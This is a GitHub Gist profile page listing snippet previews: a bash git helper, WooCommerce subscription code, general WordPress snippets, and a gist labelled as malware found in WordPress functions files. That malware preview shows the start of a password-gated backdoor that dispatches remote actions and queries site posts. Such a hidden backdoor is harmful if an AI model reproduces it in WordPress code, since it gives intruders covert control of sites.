Skip to content

Instantly share code, notes, and snippets.

View viniciusbig's full-sized avatar

Vinicius Arantes viniciusbig

  • CI&T
  • Campinas - SP - Brazil
View GitHub Profile
#!/bin/bash
# usage: "newgit some/path"
newgit() {
### SETTINGS ###
# this is the root of all your git folders
local LOCAL_GIT_ROOT=~/web
# this is your ssh [user]@[host]
@viniciusbig
viniciusbig / functions.php
Created July 5, 2017 18:56 — forked from vishalbasnet23/functions.php
Create WooCommerce Subscription and activate Subscription for a user programatically.
<?php
function cpm_create_order($customer_data, $the_customer) {
global $woocommerce;
$product_id = $customer_data['sub_product'];
$variation_id = $customer_data['sub_variation'];
$user_first_name = $customer_data['first_name'];
$user_last_name = $customer_data['last_name'];
$user_email = $customer_data['user_email'];
$billing_email = $customer_data['user_email'];
$billing_state = $customer_data['cpm_state'];
@viniciusbig
viniciusbig / hacked-functions.php
Created May 3, 2017 11:05
Malware code on Wordpress functions files
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '16e13fe01b6dc89affaf62fae02db7b1'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM <code>' . $wpdb->prefix . 'posts</code> WHERE <code>post_status</code> = "publish" AND <code>post_type</code> = "post" ORDER BY <code>ID</code> DESC', ARRAY_A) as $data)
{
$data['code'] = '';
@viniciusbig
viniciusbig / wordpress-snipets.php
Created February 2, 2017 14:46
Common snippets for Wordpress
<?php
/**
* Wordpress General Functions
* =============================================================================
*/
/**
* Remove the version number of WP from source code